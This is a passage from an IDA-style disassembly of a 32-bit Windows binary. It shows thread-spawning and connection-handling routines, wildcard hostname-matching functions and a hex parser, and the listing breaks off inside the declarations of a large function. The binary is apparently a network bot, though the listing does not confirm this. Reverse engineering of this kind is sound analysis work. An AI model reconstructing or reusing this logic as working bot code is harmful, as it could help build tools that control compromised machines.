		push	offset unk_419618
		push	[ebp+arg_0]
		call	sub_40D53F
		pop	ecx
		pop	ecx
		jmp	locret_40A2D0
; ---------------------------------------------------------------------------


loc_40A1C7:				; CODE XREF: sub_40A1A7+Aj
		push	2ACh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40A1E0
		jmp	locret_40A2D0
; ---------------------------------------------------------------------------


loc_40A1E0:				; CODE XREF: sub_40A1A7+32j
		push	1A3h
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 1A3h
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_40A22A
		push	[ebp+arg_8]
		call	sub_416B9C	; atoi
		pop	ecx
		cmp	eax, 0FFh
		jg	short loc_40A22A
		push	[ebp+arg_8]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_10], eax
		jmp	short loc_40A231
; ---------------------------------------------------------------------------


loc_40A22A:				; CODE XREF: sub_40A1A7+63j
					; sub_40A1A7+73j
		mov	[ebp+var_10], 1Eh


loc_40A231:				; CODE XREF: sub_40A1A7+81j
		mov	eax, [ebp+var_4]
		mov	cl, byte ptr [ebp+var_10]
		mov	[eax+2A3h], cl
		cmp	[ebp+arg_C], 0
		jz	short loc_40A261
		push	[ebp+arg_C]
		call	sub_416B9C	; atoi
		pop	ecx
		cmp	eax, 927C0h
		jg	short loc_40A261
		push	[ebp+arg_C]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_14], eax
		jmp	short loc_40A268
; ---------------------------------------------------------------------------


loc_40A261:				; CODE XREF: sub_40A1A7+9Aj
					; sub_40A1A7+AAj
		mov	[ebp+var_14], 7530h


loc_40A268:				; CODE XREF: sub_40A1A7+B8j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_14]
		mov	[eax+2A4h], ecx
		cmp	[ebp+arg_10], 0
		jz	short loc_40A288
		push	[ebp+arg_10]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_18], eax
		jmp	short loc_40A28F
; ---------------------------------------------------------------------------


loc_40A288:				; CODE XREF: sub_40A1A7+D1j
		mov	[ebp+var_18], 3


loc_40A28F:				; CODE XREF: sub_40A1A7+DFj
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_18]
		mov	[eax+2A8h], ecx
		lea	eax, [ebp+var_C]
		push	eax
		push	0
		push	[ebp+var_4]
		push	offset sub_409DD0
		push	0
		push	0
		call	dword_4170B4	; CreateThread
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_40A2C7
		push	[ebp+var_4]
		call	sub_416B4C	; free
		pop	ecx
		jmp	short locret_40A2D0
; ---------------------------------------------------------------------------


loc_40A2C7:				; CODE XREF: sub_40A1A7+113j
		push	[ebp+var_8]
		call	dword_4170A4	; CloseHandle

locret_40A2D0:				; CODE XREF: sub_40A1A7+1Bj
					; sub_40A1A7+34j ...
		leave
		retn
sub_40A1A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A2D2	proc near		; CODE XREF: sub_40A4A4+30p

var_111C	= dword	ptr -111Ch
var_1118	= dword	ptr -1118h
var_1114	= byte ptr -1114h
var_114		= byte ptr -114h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 111Ch
		call	sub_416BC0
		mov	eax, [ebp+arg_0]
		add	eax, 4
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, 104h
		push	eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		push	dword ptr [eax]
		push	offset dword_41966C
		mov	eax, [ebp+arg_0]
		add	eax, 204h
		push	eax
		call	sub_40D53F
		add	esp, 14h
		push	2710h
		push	0
		push	offset dword_419668
		mov	eax, [ebp+arg_0]
		add	eax, 104h
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_40A339
		xor	al, al
		jmp	locret_40A4A2
; ---------------------------------------------------------------------------


loc_40A339:				; CODE XREF: sub_40A2D2+5Ej
		mov	eax, [ebp+arg_0]
		add	eax, 4
		push	eax
		push	offset dword_419660
		lea	eax, [ebp+var_114]
		push	eax
		call	dword_4171E0	; wsprintfA
		add	esp, 0Ch
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		inc	eax
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		push	[ebp+var_8]
		call	sub_4053BF
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40A38F
		push	[ebp+var_8]
		call	sub_40538D
		pop	ecx
		xor	al, al
		jmp	locret_40A4A2
; ---------------------------------------------------------------------------


loc_40A38F:				; CODE XREF: sub_40A2D2+ABj
		push	1000h
		lea	eax, [ebp+var_1114]
		push	eax
		push	[ebp+var_8]
		call	sub_4053DC
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_40A3B5
		cmp	[ebp+var_C], 0FFFFFFFFh
		jnz	short loc_40A3C5


loc_40A3B5:				; CODE XREF: sub_40A2D2+DBj
		push	[ebp+var_8]
		call	sub_40538D
		pop	ecx
		xor	al, al
		jmp	locret_40A4A2
; ---------------------------------------------------------------------------


loc_40A3C5:				; CODE XREF: sub_40A2D2+E1j
		lea	eax, [ebp+var_1114]
		mov	[ebp+var_10], eax


loc_40A3CE:				; CODE XREF: sub_40A2D2:loc_40A492j
		mov	eax, [ebp+var_10]
		mov	[ebp+var_111C],	eax
		mov	eax, [ebp+var_111C]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A3E9
		jmp	loc_40A497
; ---------------------------------------------------------------------------


loc_40A3E9:				; CODE XREF: sub_40A2D2+110j
		push	[ebp+var_111C]
		call	sub_407B5E
		pop	ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_111C]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_40A41B
		push	offset dword_418F4C
		push	[ebp+var_111C]
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40A442


loc_40A41B:				; CODE XREF: sub_40A2D2+131j
		mov	eax, [ebp+var_111C]
		lea	ecx, [ebp+var_1114]
		cmp	eax, ecx
		jz	short loc_40A440
		push	offset dword_41965C
		mov	eax, [ebp+arg_0]
		add	eax, 204h
		push	eax
		call	sub_40D53F
		pop	ecx
		pop	ecx


loc_40A440:				; CODE XREF: sub_40A2D2+157j
		jmp	short loc_40A458
; ---------------------------------------------------------------------------


loc_40A442:				; CODE XREF: sub_40A2D2+147j
		push	[ebp+var_111C]
		mov	eax, [ebp+arg_0]
		add	eax, 204h
		push	eax
		call	sub_40D53F
		pop	ecx
		pop	ecx


loc_40A458:				; CODE XREF: sub_40A2D2:loc_40A440j
		push	3E8h
		call	dword_41709C	; Sleep
		push	offset dword_41E3B8
		call	sub_409C6C
		pop	ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	eax, [eax+4]
		mov	[ebp+var_1118],	eax
		push	offset dword_41E3B8
		call	sub_409C7A
		pop	ecx
		cmp	[ebp+var_1118],	0
		jz	short loc_40A492
		jmp	short loc_40A497
; ---------------------------------------------------------------------------


loc_40A492:				; CODE XREF: sub_40A2D2+1BCj
		jmp	loc_40A3CE
; ---------------------------------------------------------------------------


loc_40A497:				; CODE XREF: sub_40A2D2+112j
					; sub_40A2D2+1BEj
		push	[ebp+var_8]
		call	sub_40538D
		pop	ecx
		mov	al, 1

locret_40A4A2:				; CODE XREF: sub_40A2D2+62j
					; sub_40A2D2+B8j ...
		leave
		retn
sub_40A2D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A4A4	proc near		; DATA XREF: sub_40A50E+A1o

var_3A8		= dword	ptr -3A8h
var_2A4		= byte ptr -2A4h
var_1A4		= byte ptr -1A4h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3A8h
		push	3A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_3A8]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp+var_3A8]
		push	eax
		call	sub_40A2D2
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jnz	short loc_40A4FC
		lea	eax, [ebp+var_2A4]
		push	eax
		push	offset dword_419698
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch


loc_40A4FC:				; CODE XREF: sub_40A4A4+3Bj
		push	[ebp+var_3A8]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_40A4A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A50E	proc near		; CODE XREF: sub_40A9CF+FE3p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_4], 0
		jnz	short loc_40A51D
		jmp	locret_40A5BC
; ---------------------------------------------------------------------------


loc_40A51D:				; CODE XREF: sub_40A50E+8j
		push	3A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40A536
		jmp	locret_40A5BC
; ---------------------------------------------------------------------------


loc_40A536:				; CODE XREF: sub_40A50E+21j
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_40A562
		push	[ebp+arg_8]
		mov	eax, [ebp+var_4]
		add	eax, 104h
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_40A586
; ---------------------------------------------------------------------------


loc_40A562:				; CODE XREF: sub_40A50E+3Dj
		push	offset dword_4196D4
		mov	eax, [ebp+var_4]
		add	eax, 104h
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_4]
		add	eax, 104h
		push	eax
		call	sub_4105FB
		pop	ecx


loc_40A586:				; CODE XREF: sub_40A50E+52j
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 204h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	offset dword_4196B4
		push	0
		push	[ebp+var_4]
		push	offset sub_40A4A4
		call	sub_4095A4
		add	esp, 18h

locret_40A5BC:				; CODE XREF: sub_40A50E+Aj
					; sub_40A50E+23j
		leave
		retn
sub_40A50E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A5BE	proc near		; CODE XREF: sub_40A5BE+32p
					; sub_40A5BE+70p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A603
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A5DD
		mov	al, 1
		jmp	locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A5DD:				; CODE XREF: sub_40A5BE+16j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 2Ah
		jnz	short loc_40A5FC
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		push	[ebp+arg_0]
		call	sub_40A5BE
		pop	ecx
		pop	ecx
		jmp	locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A5FC:				; CODE XREF: sub_40A5BE+28j
		xor	al, al
		jmp	locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A603:				; CODE XREF: sub_40A5BE+Cj
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A614
		xor	al, al
		jmp	locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A614:				; CODE XREF: sub_40A5BE+4Dj
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_4]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jnz	short loc_40A63A
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A5BE
		pop	ecx
		pop	ecx
		jmp	locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A63A:				; CODE XREF: sub_40A5BE+64j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Fh
		jnz	short loc_40A65B
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A5BE
		pop	ecx
		pop	ecx
		jmp	locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A65B:				; CODE XREF: sub_40A5BE+85j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 23h
		jnz	short loc_40A69E
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 30h
		jl	short loc_40A67C
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 39h
		jle	short loc_40A687


loc_40A67C:				; CODE XREF: sub_40A5BE+B1j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 23h
		jnz	short loc_40A69A


loc_40A687:				; CODE XREF: sub_40A5BE+BCj
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A5BE
		pop	ecx
		pop	ecx
		jmp	short locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A69A:				; CODE XREF: sub_40A5BE+C7j
		xor	al, al
		jmp	short locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A69E:				; CODE XREF: sub_40A5BE+A6j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 2Ah
		jnz	short loc_40A6E7
		and	[ebp+var_4], 0
		jmp	short loc_40A6B6
; ---------------------------------------------------------------------------


loc_40A6AF:				; CODE XREF: sub_40A5BE:loc_40A6E5j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40A6B6:				; CODE XREF: sub_40A5BE+EFj
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		push	eax
		call	sub_40A5BE
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_40A6D4
		mov	al, 1
		jmp	short locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A6D4:				; CODE XREF: sub_40A5BE+110j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A6E5
		xor	al, al
		jmp	short locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A6E5:				; CODE XREF: sub_40A5BE+121j
		jmp	short loc_40A6AF
; ---------------------------------------------------------------------------


loc_40A6E7:				; CODE XREF: sub_40A5BE+E9j
		xor	al, al

locret_40A6E9:				; CODE XREF: sub_40A5BE+1Aj
					; sub_40A5BE+39j ...
		leave
		retn
sub_40A5BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A6EB	proc near		; CODE XREF: sub_4097A7+10Ap
					; sub_4098F3+155p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A730
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A70A
		mov	al, 1
		jmp	locret_40A86B
; ---------------------------------------------------------------------------


loc_40A70A:				; CODE XREF: sub_40A6EB+16j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 2Ah
		jnz	short loc_40A729
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		push	[ebp+arg_0]
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		jmp	locret_40A86B
; ---------------------------------------------------------------------------


loc_40A729:				; CODE XREF: sub_40A6EB+28j
		xor	al, al
		jmp	locret_40A86B
; ---------------------------------------------------------------------------


loc_40A730:				; CODE XREF: sub_40A6EB+Cj
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A741
		xor	al, al
		jmp	locret_40A86B
; ---------------------------------------------------------------------------


loc_40A741:				; CODE XREF: sub_40A6EB+4Dj
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_4]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jnz	short loc_40A767
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		jmp	locret_40A86B
; ---------------------------------------------------------------------------


loc_40A767:				; CODE XREF: sub_40A6EB+64j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 41h
		jl	short loc_40A77D
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 5Ah
		jle	short loc_40A793


loc_40A77D:				; CODE XREF: sub_40A6EB+85j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 61h
		jl	short loc_40A7BC
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 7Ah
		jg	short loc_40A7BC


loc_40A793:				; CODE XREF: sub_40A6EB+90j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		xor	eax, 20h
		mov	ecx, [ebp+arg_4]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jnz	short loc_40A7BC
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		jmp	locret_40A86B
; ---------------------------------------------------------------------------


loc_40A7BC:				; CODE XREF: sub_40A6EB+9Bj
					; sub_40A6EB+A6j ...
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Fh
		jnz	short loc_40A7DD
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		jmp	locret_40A86B
; ---------------------------------------------------------------------------


loc_40A7DD:				; CODE XREF: sub_40A6EB+DAj
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 23h
		jnz	short loc_40A820
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 30h
		jl	short loc_40A7FE
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 39h
		jle	short loc_40A809


loc_40A7FE:				; CODE XREF: sub_40A6EB+106j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 23h
		jnz	short loc_40A81C


loc_40A809:				; CODE XREF: sub_40A6EB+111j
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		jmp	short locret_40A86B
; ---------------------------------------------------------------------------


loc_40A81C:				; CODE XREF: sub_40A6EB+11Cj
		xor	al, al
		jmp	short locret_40A86B
; ---------------------------------------------------------------------------


loc_40A820:				; CODE XREF: sub_40A6EB+FBj
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 2Ah
		jnz	short loc_40A869
		and	[ebp+var_4], 0
		jmp	short loc_40A838
; ---------------------------------------------------------------------------


loc_40A831:				; CODE XREF: sub_40A6EB:loc_40A867j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40A838:				; CODE XREF: sub_40A6EB+144j
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_40A856
		mov	al, 1
		jmp	short locret_40A86B
; ---------------------------------------------------------------------------


loc_40A856:				; CODE XREF: sub_40A6EB+165j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A867
		xor	al, al
		jmp	short locret_40A86B
; ---------------------------------------------------------------------------


loc_40A867:				; CODE XREF: sub_40A6EB+176j
		jmp	short loc_40A831
; ---------------------------------------------------------------------------


loc_40A869:				; CODE XREF: sub_40A6EB+13Ej
		xor	al, al

locret_40A86B:				; CODE XREF: sub_40A6EB+1Aj
					; sub_40A6EB+39j ...
		leave
		retn
sub_40A6EB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A86D	proc near		; CODE XREF: sub_40A8AD+FDp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	[ebp+var_4], 1
		cmp	[ebp+arg_4], 0
		jnz	short loc_40A884
		push	1
		pop	eax
		jmp	short locret_40A8AB
; ---------------------------------------------------------------------------


loc_40A884:				; CODE XREF: sub_40A86D+10j
		mov	[ebp+var_8], 1
		jmp	short loc_40A894
; ---------------------------------------------------------------------------


loc_40A88D:				; CODE XREF: sub_40A86D+39j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_40A894:				; CODE XREF: sub_40A86D+1Ej
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_4]


loc_40A89A:				; DATA XREF: brattyty:0041AE78o
					; brattyty:0041AEBCo ...
		jg	short loc_40A8A8
		mov	eax, [ebp+var_4]
		imul	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		jmp	short loc_40A88D
; ---------------------------------------------------------------------------


loc_40A8A8:				; CODE XREF: sub_40A86D:loc_40A89Aj
		mov	eax, [ebp+var_4]

locret_40A8AB:				; CODE XREF: sub_40A86D+15j
		leave
		retn
sub_40A86D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A8AD	proc near		; CODE XREF: sub_406509+26p
					; sub_40A9CF+193Fp ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	esi
		push	edi
		mov	[ebp+var_4], 1
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_20], 0
		mov	esi, offset aAbcdef ; "abcdef"
		lea	edi, [ebp+var_1C]
		movsd
		movsw
		movsb
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 30h
		jnz	short loc_40A90C
		mov	eax, [ebp+var_20]
		inc	eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 78h
		jz	short loc_40A905
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 58h
		jnz	short loc_40A90C


loc_40A905:				; CODE XREF: sub_40A8AD+48j
		mov	eax, [ebp+var_20]
		inc	eax
		mov	[ebp+var_20], eax


loc_40A90C:				; CODE XREF: sub_40A8AD+33j
					; sub_40A8AD+56j
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_20]
		mov	[ebp+var_14], eax
		jmp	short loc_40A927
; ---------------------------------------------------------------------------


loc_40A920:				; CODE XREF: sub_40A8AD+116j
		mov	eax, [ebp+var_14]
		inc	eax
		mov	[ebp+var_14], eax


loc_40A927:				; CODE XREF: sub_40A8AD+71j
		mov	eax, [ebp+var_14]
		cmp	eax, [ebp+var_28]
		jge	loc_40A9C8
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_14]
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_416DE4	; tolower
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 30h
		jl	short loc_40A95D
		cmp	[ebp+var_8], 39h
		jg	short loc_40A95D
		mov	eax, [ebp+var_8]
		sub	eax, 30h
		mov	[ebp+var_10], eax
		jmp	short loc_40A9A0
; ---------------------------------------------------------------------------


loc_40A95D:				; CODE XREF: sub_40A8AD+9Dj
					; sub_40A8AD+A3j
		cmp	[ebp+var_8], 61h
		jl	short loc_40A99C
		cmp	[ebp+var_8], 66h
		jg	short loc_40A99C
		and	[ebp+var_24], 0
		jmp	short loc_40A976
; ---------------------------------------------------------------------------


loc_40A96F:				; CODE XREF: sub_40A8AD:loc_40A998j
		mov	eax, [ebp+var_24]
		inc	eax
		mov	[ebp+var_24], eax


loc_40A976:				; CODE XREF: sub_40A8AD+C0j
		mov	eax, [ebp+var_24]
		movsx	eax, [ebp+eax+var_1C]
		test	eax, eax
		jz	short loc_40A99A
		mov	eax, [ebp+var_24]
		movsx	eax, [ebp+eax+var_1C]
		cmp	[ebp+var_8], eax
		jnz	short loc_40A998
		mov	eax, [ebp+var_24]
		add	eax, 0Ah
		mov	[ebp+var_10], eax


loc_40A998:				; CODE XREF: sub_40A8AD+E0j
		jmp	short loc_40A96F
; ---------------------------------------------------------------------------


loc_40A99A:				; CODE XREF: sub_40A8AD+D3j
		jmp	short loc_40A9A0
; ---------------------------------------------------------------------------


loc_40A99C:				; CODE XREF: sub_40A8AD+B4j
					; sub_40A8AD+BAj
		xor	eax, eax
		jmp	short loc_40A9CB
; ---------------------------------------------------------------------------


loc_40A9A0:				; CODE XREF: sub_40A8AD+AEj
					; sub_40A8AD:loc_40A99Aj
		mov	eax, [ebp+var_28]
		sub	eax, [ebp+var_14]
		dec	eax
		push	eax
		push	10h
		call	sub_40A86D
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		imul	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		add	ecx, eax
		mov	[ebp+var_C], ecx
		jmp	loc_40A920
; ---------------------------------------------------------------------------


loc_40A9C8:				; CODE XREF: sub_40A8AD+80j
		mov	eax, [ebp+var_C]


loc_40A9CB:				; CODE XREF: sub_40A8AD+F1j
		pop	edi
		pop	esi
		leave
		retn
sub_40A8AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A9CF	proc near		; CODE XREF: sub_40D871+C95p
					; sub_40D871+D9Cp

var_6424	= dword	ptr -6424h
var_6420	= dword	ptr -6420h
var_641C	= dword	ptr -641Ch
var_6418	= dword	ptr -6418h
var_6414	= dword	ptr -6414h
var_6410	= dword	ptr -6410h
var_640C	= dword	ptr -640Ch
var_6408	= dword	ptr -6408h
var_6404	= dword	ptr -6404h
var_6400	= dword	ptr -6400h
var_63FC	= dword	ptr -63FCh
var_63F8	= dword	ptr -63F8h
var_63F4	= dword	ptr -63F4h
var_63F0	= dword	ptr -63F0h
var_63EC	= dword	ptr -63ECh
var_63E8	= dword	ptr -63E8h
var_63E4	= dword	ptr -63E4h
var_63E0	= dword	ptr -63E0h
var_63DC	= dword	ptr -63DCh
var_63D8	= dword	ptr -63D8h
var_63D4	= dword	ptr -63D4h
var_63D0	= dword	ptr -63D0h
var_63CC	= dword	ptr -63CCh
var_63C8	= dword	ptr -63C8h
var_63C4	= dword	ptr -63C4h
var_63C0	= dword	ptr -63C0h
var_63BC	= dword	ptr -63BCh
var_63B8	= dword	ptr -63B8h
var_63B4	= word ptr -63B4h
var_63B2	= word ptr -63B2h
var_63B0	= dword	ptr -63B0h
var_63A4	= dword	ptr -63A4h
var_63A0	= byte ptr -63A0h
var_639C	= dword	ptr -639Ch
var_6398	= byte ptr -6398h
var_6397	= byte ptr -6397h
var_6396	= byte ptr -6396h
var_6395	= byte ptr -6395h
var_6394	= byte ptr -6394h
var_6393	= byte ptr -6393h
var_6392	= byte ptr -6392h
var_6391	= byte ptr -6391h
var_6390	= byte ptr -6390h
var_638F	= byte ptr -638Fh
var_638E	= byte ptr -638Eh
var_638D	= byte ptr -638Dh
var_638C	= dword	ptr -638Ch
var_6388	= byte ptr -6388h
var_5F84	= dword	ptr -5F84h
var_5F80	= byte ptr -5F80h
var_5B7C	= dword	ptr -5B7Ch
